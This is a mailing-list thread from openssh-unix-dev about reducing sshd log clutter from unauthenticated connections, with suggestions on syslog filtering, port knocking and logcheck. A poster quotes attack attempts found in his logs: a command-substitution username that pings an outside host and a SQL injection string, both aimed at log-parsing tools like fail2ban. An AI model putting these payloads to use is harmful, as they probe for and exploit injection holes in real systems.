openssh unix dev - Mar 2023 - Minimize sshd log clutter/spam from unauthenticated connections

On 18.03.23 14:34, David Lang wrote:
> modern syslog daemons (including rsyslog, which is default on just 
> about every linux system) allow you to filter efficiently on the 
> message contents, not just the severity, so you can opt to throw out 
> the messages you don't want.
>
> I advocate for a slightly different way of dealing with it, filter 
> these messages from your main logstream, but put them into either a 
> script directly, or a separate file and have a script run against it. 
> Have the script report the number of these messgaes that you get in a 
> time period (minute, hour, whatever you want) and log that count back 
> into your log stream
>
> as Marcus Ranum said in his Artificial Ignorance writeup, the number 
> of times that an uninteresting thing happens can be interesting.
>
> If you see a big spike (or drop) is these attempts, it can indicate 
> cause for concern.
I run Debian with systemd-journald instead of rsyslog. AFAIK journald 
does not support filtering of its ingress log messages. Only the output 
can be filtered with journalctl, but by then it's already too late in 
terms of log spam on disk.

Regardless of which syslog solution is being used, I find it 
inconvenient to manually assemble and maintain a filter list. I believe 
an sshd configuration option, which of course defaults to false, would 
be the best solution. Currently, the sheer amount of messages from 
unauthenticated connections drowns out anything else. I took this 
opportunity to sift through sshd's messages of almost 2 years via:

journalctl -t sshd -o cat \
     | grep -v '^Accepted ' \
     | sed -E 's/[Uu]ser \S+/user .../' \
     | sed -E 's/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/0.0.0.0/' \
     | sed -E 's/port\s+[0-9]+/port 0/' \
     | sed -E 's/".*"/"..."/' \
     | sed -E 's/Change of username or service not allowed: .+/Change of
username or service not allowed: .../' \
     | sed -E 's/Their offer: .+/Their offer: .../' \
     | sort -u

I found a select few attempts to mess with, identify, or exploit log 
parsing IDS/IPS software like fail2ban (and feel confirmed in my choice 
of an alternative solution with far less attack surface, see my other mail):

Invalid user $(ping -c 1 16e939dc.ad.xspzo.com) from ...
Invalid user ' $(ping -c 1 16e939dc.ad.xspzo.com) from ...
Invalid user ' or '1'='1' - from 176.100.42.41

Only two concerning messages came up:

error: beginning MaxStartups throttling
fatal: ssh_sandbox_violation: unexpected system call (arch:0xc000003e,syscall:20
@ 0x7f1d8469e1f5) [preauth]

I definitely wouldn't want to miss the above among an almost endless 
list of (invalid) usernames, (dis-)connecting IP addresses, invalid 
version strings, etc. that various script kiddies are playing with. 
While I do get your point, I doubt analyzing all of these individual 
messages has a reasonable cost-benefit ratio. I occasionally look at the 
amount of rejected connections (my nftables rules keep track of that) to 
see any unusual uptick of interest, upon which I investigate.

Best regards,
Carsten

On Sat, 18 Mar 2023, Carsten Andrich wrote:
> Date: Sat, 18 Mar 2023 18:16:44 +0100
> From: Carsten Andrich <carsten.andrich at tu-ilmenau.de>
> To: David Lang <david at lang.hm>
> Cc: openssh-unix-dev at mindrot.org
> Subject: Re: Minimize sshd log clutter/spam from unauthenticated
connections
> 
> On 18.03.23 14:34, David Lang wrote:
>> modern syslog daemons (including rsyslog, which is default on just
about
>> every linux system) allow you to filter efficiently on the message 
>> contents, not just the severity, so you can opt to throw out the
messages
>> you don't want.
>> 
>> I advocate for a slightly different way of dealing with it, filter
these
>> messages from your main logstream, but put them into either a script 
>> directly, or a separate file and have a script run against it. Have the
>> script report the number of these messgaes that you get in a time
period
>> (minute, hour, whatever you want) and log that count back into your log
>> stream
>> 
>> as Marcus Ranum said in his Artificial Ignorance writeup, the number of
>> times that an uninteresting thing happens can be interesting.
>> 
>> If you see a big spike (or drop) is these attempts, it can indicate
cause
>> for concern.
>
> I run Debian with systemd-journald instead of rsyslog. AFAIK journald does 
> not support filtering of its ingress log messages. Only the output can be 
> filtered with journalctl, but by then it's already too late in terms of
log
> spam on disk.
rsyslog is still available, and you don't have to keep everything in the
journal
files (journald is not a modern logging system, in spite of it's date of 
implementation :-) )

David Lang

To radically cut down on SSH log spam you can also hide it completely behind a
firewall, and allow access only by some port knocking sequence.


I quite like having a process listen on port 53 and wait for a dns query
containing a totp string to grant (temporary) access; that's a 2fa, and
doing a "host 123456. my-ip" is easily automated in a shell script as
well...

[...]
> journalctl -t sshd -o cat \
>  ??? | grep -v '^Accepted ' \
>  ??? | sed -E 's/[Uu]ser \S+/user .../' \
>  ??? | sed -E 's/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/0.0.0.0/' \
>  ??? | sed -E 's/port\s+[0-9]+/port 0/' \
>  ??? | sed -E 's/".*"/"..."/' \
>  ??? | sed -E 's/Change of username or service not allowed: .+/Change
of username or service not allowed: .../' \
>  ??? | sed -E 's/Their offer: .+/Their offer: .../' \
>  ??? | sort -u
> 
> I found a select few attempts to mess with, identify, or exploit log
parsing IDS/IPS software like fail2ban (and feel confirmed in my choice of an
alternative solution with far less attack surface, see my other mail):
> 
> Invalid user $(ping -c 1 16e939dc.ad.xspzo.com) from ...
> Invalid user ' $(ping -c 1 16e939dc.ad.xspzo.com) from ...
> Invalid user ' or '1'='1' - from 176.100.42.41
[...]

May I suggest, you take a look at logcheck(8). It seems, that this what you are
looking for.